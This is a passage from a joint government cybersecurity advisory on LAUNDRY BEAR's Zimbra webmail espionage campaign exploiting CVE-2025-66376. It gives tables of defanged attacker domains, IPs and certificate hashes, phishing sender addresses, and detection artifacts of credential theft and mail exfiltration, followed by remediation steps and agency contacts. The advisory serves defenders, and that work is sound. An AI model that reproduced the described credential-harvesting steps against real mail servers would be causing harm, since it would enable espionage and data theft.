<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
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<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
